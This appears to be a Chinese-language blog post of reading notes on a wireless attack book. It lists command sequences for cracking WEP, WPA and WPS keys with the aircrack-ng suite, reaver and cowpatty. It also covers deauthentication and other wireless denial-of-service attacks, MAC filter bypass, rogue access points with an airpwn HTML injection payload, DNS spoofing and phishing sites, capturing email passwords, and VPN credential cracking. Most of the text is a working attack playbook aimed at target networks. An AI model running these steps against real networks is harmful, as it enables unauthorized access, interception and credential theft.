《无线网络安全攻防实战》读书笔记

时间:2023-01-13 00:11:10

虽然无线破解早就烂大街了,还是去图书馆把这本书补上了,做个笔记,以供以后参考,记得很全面但很乱。测试环境为Kali linux 或backtrack

wep破解

1.将网卡激活成monitor模式

    airmon-ng start wlan0 6
    
2.开始抓取无线数据包:

    airodump-ng -w ciw.cap --channel 6 mon0
    
3.为了加快IV(初始化向量)的获取,可以进行ArpRequest注入式攻击,可以有效提高抓包数量及破解速度:

    aireplay-ng -3 -b AP's MAC -h Client's MAC -x 1024 wlan0    

    参数解释:

    * -3,指的是采取ArpRequest注入攻击方式;
    * -b,后面跟上要入侵的AP的MAC地址;
    * -h,建议使用,效果会更好,后面跟的是监测到的客户端MAC地址;
    * -x num,指的是定义每秒发送数据包数量,这个num值可以根据实际情况调小一些,但一般来说最高1024就可以

4.开启aircrack-ng来进行同步破解:

    aircrack-ng -x -f 2 ciw.cap

    参数解释:
    * -x,是暴力破解模式;
    * -f,指启用密码复杂度为2;
    
    
1.启动无线网卡的监听模式
$ sudo airmon-ng start wlan0


2.  查看有哪些采用wep加密的路由器,记录目标ap的mac
$ sudo airodump-ng mon0


3. 另开一个终端,运行
$ sudo airodump-ng -c 6 --bssid AP’s MAC -w wep mon0
其中6是AP的信道(channel),AP’sMAC是路由器的MAC地址,wep的是抓下来的数据包保存的文件名


4. 再另开一个终端,与AP建立虚拟连接
$ sudo aireplay-ng -1 0 -a AP’s MAC -h My-MAC mon0


5. 建立虚拟连接成功后,运行下面命令,加速数据获取
$ sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b AP’s MAC -h My-MAC mon0

6. 收集5000个以上的DATA之后,开始进行解密 。另开一个终端,运行
$ sudo aircrack-ng wep*.cap
如果暂时没算出来的话,继续等,aircrack-ng 会在DATA每增加5000个之后自动再次运行,直到算出密码为止


7. 破解成功后,关闭监控模式
$ sudo airmon-ng stop mon0


自动攻击工具:wep spoonfeeder

Deauth验证攻击,这个对于采用WPA验证的AP攻击都会用到,可以迫使AP重新与客户端进行握手验证,从而使得截获成为可能。命令如下
aireplay-ng  -0  10  -a   AP's MAC   mon0
或者
aireplay-ng  -0  10  -a   AP's MAC   -h  Client's MAC   mon0
    -0指的是采取Deautenticate攻击方式,后面为发送次数,-a后面跟上要入侵的AP的MAC地址,-h建议还是使用,效果会更好,这个后面跟的是监测到的客户端MAC地址


wep破解的多米诺骨牌

1.无客户端chopchop攻击
     1.airodump-ng --ivs -c 6 -w file mon0     捕获数据
     2.aireplay-ng -l  0  -e AP'ESSID -a AP'MAC -h CLIENT'MAC mon0
        FakeAuth:与ap建立虚拟的验证连接,以便之后注入数据包
        -h 用于攻击的网卡mac
     3.aireplay-ng -4 -b AP'MAC -h CLIENT'MAC mon0
        -4 chopchop攻击,生成密钥数据流文件  -h 攻击者自己的mac
        生成明文后缀为cap和密钥数据流后缀xor文件
     4.tcpdump  -s  0  -n  -e  -r  replay_dec.cap
        -s 从每个报文截取snaplen字节的数据
        -n 不进行ip地址到主机名的转换
        -e 在输出行打印数据链路层头部信息
        -r 从文件读取包
     5.packetforge-ng -0 -a AP'MAC -h CLIENT'MAC -k 255.255.255.255 -l 255.255.255.255 -y fragment xor file -w writetofile
        -0  创建一个arp包
        -k ip目标ip及端口
        -l ip 来源ip及端口
        -y file,从文件读取prga数据
        -w file  将生成的数据报文写入cap文件
    6.aireplay-ng  -2  -r  writetofile  mon0
        为加快iv(初始化向量)获取,进行Interactive Attack及交互式攻击,将构造的数据包发送至目标ap
    7.aircrack-ng   chop*ivs
        破解密码

2.无客户端Fragment攻击
    1.捕获
    2.FakeAuth,虚假验证,监听界面会出现伪造的客户端
    3.aireplay-ng  -5  -b  AP'MAC  -h  CLIENT'MAC  mon0
        -5  fragment攻击,生成可用密钥数据流文件
        -h  攻击者自己的网卡mac
    4.packetforge-ng 构造注入数据包
    5.文件生成后,同时进行InteractiveAttack攻击,在airodump下可看到数据飞涨
    6.aircrack


3.无客户端ARP+Deauth攻击
    1.airodump-ng  -w  file  --channel  6  mon0
    2.aireplay-ng  -l  0  -e AP'ESSID -a  AP'MAC  -a  FakeMac mon0
         fakeauth攻击
    3.aireplay-ng  -l  6000   -o  1  -q  10  -e  AP'ESSID  -a  AP'MAC  -h  ATTK'MAC
        保证伪造客户端在线
        -l delay  延迟数量
        -o  每次发送数据包数量
        -q sec  发送keep-alives数据包时间间隔
        -e 目标ssid    
    4.aireplay-ng  -3  -b  AP'MAC   -h  CLIENT'MAC  mon0
        -3  同时进行arp注入攻击

    5.aircrack-ng  -n  152  file
        152为wep破解

共享密钥的wep破解
1.监听模式
2.抓包,若客户端没有活动,则deauth攻击,aireplay-ng  -0  1  -a  AP'MAC  mon0
    可看到CIPHER栏出现ska标识,右上角出现keystream提示
    生成三个文件a.mac.xor, a.cap,  a.txt.  xor文件为包含预共享密钥的文件
3.fakeauth攻击。
    aireplay-ng  -1  0  -e AP'ESSID -y a.xor  -a  AP'MAC  -h FAKEMAC  mon0
    -1 ,fakeauth模式
    -h,客户端mac或伪造mac
4.可同时进行ArpRequest注入攻击,进行完fakeauth攻击后,此时aireplay监听界面截获的ARP request数据为0,可再次进行deauth攻击使其重连。
5.aircrack-ng  filename

关闭ssid广播的对策

1,抓包分析
2,暴力破解
3,deauth攻击
    1.airodump探测,关闭ssid的ap只显示ssid的长度
    2.deauth使其重连
    3,监听界面出现ssid


突破mac地址过滤

1.获取合法客户端mac地址,airodump、omnipeek、kismet
2.更改mac地址伪造身份。win下用smac,linux下ifconfig wlan0  hw ether MAC    或  athmacchange.sh
3.重新装载网卡,连接ap


数据分析


1.查看ap品牌
2.查看对方访问网站,观察目标习惯,深入攻击
3.截获邮箱等账户密码

 

破解wpa


一、传统wpa-psk破解
1、2、3.激活网卡,设为monitor模式,捕获数据
4.aireplay-ng  -0 1 -a AP'MAC -c CLIENT'MAC wlan0? Deauth攻击获取wpa握手报文
5.aircrack-ng -w dic filename.cap 破解密码

Deauth数据包将以连接至无线路由器的合法无线客户端强制断开,客户端重连,便可以捕获握手包。
 -0 之后跟上攻击次数,可根据情况5~10不等;
如果成功,在airodump-ng界面右上角可以看到“wpa handshake"的提示。
-w 后跟字典名。


二、wpa pmk hash破解
内存-时间平衡。 彩虹表。wpa rainbow tables. wpa pmk hash tables.



关于aircrack-ng
 
主要组件
aircrack-ng 自动检测数据包,恢复密码
airmon-ng 改变无线网卡模式
aiodump-ng 捕获802.11数据
aireplay-ng 创建特殊的数据报文及流量
airserv-ng 将无线网卡连接至某一特定端口
airolib-ng 进行wpa rainbow table攻击时使用,用于建立特定数据库文件
airdecap-ng 解开处于加密状态的数据包
airdriver-ng 显示支持的网卡
airdecloak-ng 过滤出指定的数据
packetforge-ng 为注入攻击制作特殊加密报文,主要用于无客户端破解攻击
wesside-ng 自动wep破解工具,加入fragmentation攻击
tkiptun-ng 针对wpa tkip加密且启用qos的网络

(A) airdecap-ng

airdecap-ng -l -e AP'essid -p AP'password filename.cap
-l 不移除802.11 header部分,防止加密后的文件不可读
对于wep包
airdecap-ng -w AP'password filename.cap
-w 后跟wep十六进制密码

解密后可用wireshark分析

(B)ivstools
合并ivs文件:
ivstools --merge 1.ivs 2.ivs 3.ivs out.ivs
转换cap问ivs
ivstools --convert test.cap test.ivs

(C)airdrive-ng
airdrive-ng supported        查看支持芯片
airdrive-ng detail 序号        详细
airdrive-ng installed        已安装驱动

(D)airdecloak-ng
airdecloak-ng --bssid AP'MAC --filters signal -i 无线报文filename.cap
--filters 过滤选项,跟具体参数
完成后,会保存为后缀名为filtered的pcap文件。


关于wesside-ng
自动破解wep的工具.找出当前连接该无线网络的其他客户端mac,进行身份欺骗,使用类似fragmentation攻击方式,拦截广播及转发数据包,发现prga数据包。注入arp数据报,调用aircrack-ng PTW破解密码。
1.ifconfig wlan0 up
2.airmon-ng start wlan0
3.airodump-ng mon0
4.wesside-ng -v AP'MAC -k 1 -i mon0
    -k 重传次数,跟具体数值
捕获数据包保存在wep.cap的文件,可用aircrack-ng对该文件再次破解。

关于tkiptun-ng. 破解wpa
可以解开tkip加密了的数据包,并不是算出密钥。
1.安装
2.激活无线网卡,设为监听模式
3.tkiptun-ng -a AP'MAC -h CLIENT'MAC mon0 或
   tkiptun-ng -a AP'MAC -h CLIENT'MAC -m 80 -n 100 mon0
    -m 最小包长度
    -n  最大包长度

wps破解wpa/wpa2的捷径
1.将网卡设为监听模式
2../wpscan.py -i mon0        扫描开启wps功能的无线设备
3../wpspy.py -i mon0 -e AP'SSID     监测wps状态,是否为已配置
4.打开无线网卡自带配置工具,pin码连接,使用星号查看器查看密码
csrf攻击

现在也可以用reaver跑pin码



关于GPU破解
CUDA    
1.获取wpa-psk握手数据包,工具(airodump-ng,omnipeek,commview for wifi,airdefense)
2.打开ewsa,cpu、gpu、dictionary设置
3.import tcpdump file导入握手包,cap、pcap、dmp等
4.开始破解
5.未注册版本只显示两位密码,用winhex查看内存。“工具”--“打开ram内存”--找到ewsa的进程,--“find text“,输入破解的前两位密码,编码模式为”ascii/code“

关于分布式破解
free rainbow tables项目、ZerOne团队分布破解项目

cowpatty破解wpa

1.分析抓获的wpa握手包数据
2.cowpatty  -f  passd.txt  -r  wpa.cap  -s  AP'ESSID  -v
    -f,后跟字典
    -r,抓包文件

table破解

1.genpmk  -f  wordlist1.txt  -d  tablename  -s  AP'ESSID
    -f 字典
    -d 生成的table文件名
2.cowpatty  -d  tablename  -r  a.cap  -s  AP'ESSID

1.airolib-ng  test  init
    test 要建立的数据库
    init 建立数据库的命令
2.airolib-ng  test  import   cowpatty  tablename
    导入预运算tables
3.airolib-ng  database  stats
    查看数据库状态
4.aircrack-ng  -r  test  capturefile

 

无线欺骗攻击

伪造ap
1基于硬件的伪造ap。 刷新无线路由firmware,dd-wrt ,openwrt, AirSnarf
2.基于软件的伪造ap
    fakeAP
    fakeap.pl --interface 网卡名 --channel 频道 --essid AP'SSID --mac AP'MAC
    --essid zunzhe008 --interface wlan0    
    如不必需,可省略mac

    airbase-ng
    基于上软件的自动化脚本mitmap.sh
    ./mitmap.sh -m ap -i wlan0 -o eth0 -s AP'SSID
    -m 跟四种模式之一
    -o 跟有线网卡名,一定要先配置完毕,确保能连接外网
    -s 伪造ap的ssid,一般和预伪造目标一致
    会将捕获数据保存在当前目录.cap文件

    airpwn
    下载解压 tar zxvf airpwn
    cd airpwn
    tar zxvf lorcon-current.tgz
    cd lorcon
    configure&&make&&make install
    cd ..   &&  configure  &&  make
    (libpcre库)
    缺少文件:cp /usr/local/lib/liborcon-1.0.0.so /usr/lib
    破解网络之后进行欺骗
    注入配置文件:在airpwn主目录下
    conf目录下,编写名为zerone.html的文件
    内容:        
        begin zerone_html
        match  ^(GET|POST)
        ignore  ^GET [^ ?]+\.(jpg|jepg|gif|png|tif|tiff)
        response content/zerone_html
        只要出现GET或POST请求报文,就将其中网址替换成content目录下的zerone_html
    content目录下编写zerone_html文件
        HTTP/1.1 200 OK
        Connection: close
        Content-type: text/html

        <html><head><title>hack you!!1</title></head>
                <body><img src='http://xxxxxxx' width='100%' height='100%'>
                </head><body onLoad="alert();">

    攻击前注意airpwn支持的网卡
    airpwn -c conf/zerone_html -i rausb0 -d rt73 -vvv -F -k WEP
    -c 制定配置文件
    -d 跟支持的无线网卡驱动名称
    -F 假设设置为监听模式的网卡中没有FCS values?
    -k wep的16进制密码
    连接请求网址验证效果

搜索发现伪造ap:
    namp  -vv -sS 192.168.1.0/24  -p 80
        -sS 采用SYN扫描,在有防火墙时常用
    nmap -vv -sV  192.168.1.1 -p 80
        -sV 具体版本识别,对端口服务信息探测时使用
    收敛法向量法定位ap
MITM:
    Monkey-jack

无线跳板攻击
    airserv-ng
    1.在跳板机1上安装airserv-ng,将网卡设置为提供无线网卡远程访问的服务器
    airserv-ng -d 网卡  -p 端口     其他计算机只要连接到这个端口就可以使用此网卡
    2.配置端口重定向工具
    fpipe -l port -r port IP
    -l 监听本地某个端口
    -r 转发至某个端口,可以是本机
    其他跳板也是如此,一般各跳板端口不同,减少暴露
     3,远程攻击
    airodump-ng IP:port
    常见错误:address already in use,由已开启airserv-ng网络网卡服务并用默认666端口所致,修改端口或停止相应airserv


icmp协议隧道
    loki
http协议隧道
    GNU HTTPTunnel, HTTP Tunnel


伪造站点+dns欺骗
1.伪造站点
2.dns欺骗
3.查看效果,ping域名,显示内网ip

伪造电子邮件+伪造站点
1.截获邮箱帐号
2.建立伪造站点
3.受害者收到伪造电子邮件,包含域名相似的伪造站点
   

无线DOS攻击

关联及认证状态:
state1.未通过验证,未建立关联
state2.通过验证,未建立关联
state3.通过验证,建立关联

Access Point Overload , 无线接入点过载攻击
--只要客户端关联表达到饱和程度,接入点就会开始拒绝新的关联请求,这种状态为接入点过载。


Authentication Flood , 身份验证洪水攻击
--大量伪造的身份验证请求超过所能承受的能力时,ap将断开其他无线服务连接。


Authentication Failure , 身份验证失败攻击
--注入无效身份验证请求帧,使ap与客户端的连接中断

Deauthentication Flood , 取消身份验证洪水攻击、验证阻断洪水攻击
--伪造deauthentication帧,注入,踢出合法客户端
    
Association Flood ,  关联洪水攻击、关联淹没攻击
--对于开放身份验证。伪造关联,填充连接状态表。攻击工作在链路层

Disassociation Flood , 取消关联洪水攻击
--取消关联广播多用于配合中间人攻击,而这个常用于目标确定的p2p dos

Duration Attack , 持续时间攻击
--发送占用巨大持续时间值的帧,使其他节点等待

Wireless Adapter Driver Buffer Overflow, 无线网卡驱动溢出攻击
1.网卡漏洞检测工具
    WiFi DEnum
2.网络资源,WVE,AusCERT,Milw0rm.com
3.攻击实现工具
    metasploit framework

RF Jamming, 射频干扰攻击
--全频道阻塞、瞄准式阻塞

无线vpn破解

1.扫描vpn设备
    namp、zenmap
2.截获vpn交互数据包
    中间人攻击,ettercap、cain
3.破解
    asleap:用于pptp/leap密码恢复
    genkeys:将普通字典装换成asleap可识别的dat和idx专用hash文件
    genkeys  -r  dict  -f  simple.dat   -n  simple.idx
        -r 事先准备的字典
        -f 预制作的dat格式hash文件
        -n 预制作的idx格式hash文件
    asleap -r shark -f  simple.dat  -n simple.idx
        -r 截获的vpn客户端登录数据包


1.IPSecScan扫描启用ipsec的设备
    ipsecscan  ip
2.确认vpn设备
    ike-scan  --sport=0  -M ip
        --sport=<port> 设置udp源端口,默认500,随机端口为0.
        -M 将结果逐行显示
        --showbackoff  vpn指纹识别
    ike-scan  --sport=0  --showbackoff  -M ip 探测vpn操作系统或设备版本
3.基于截获数据cain破解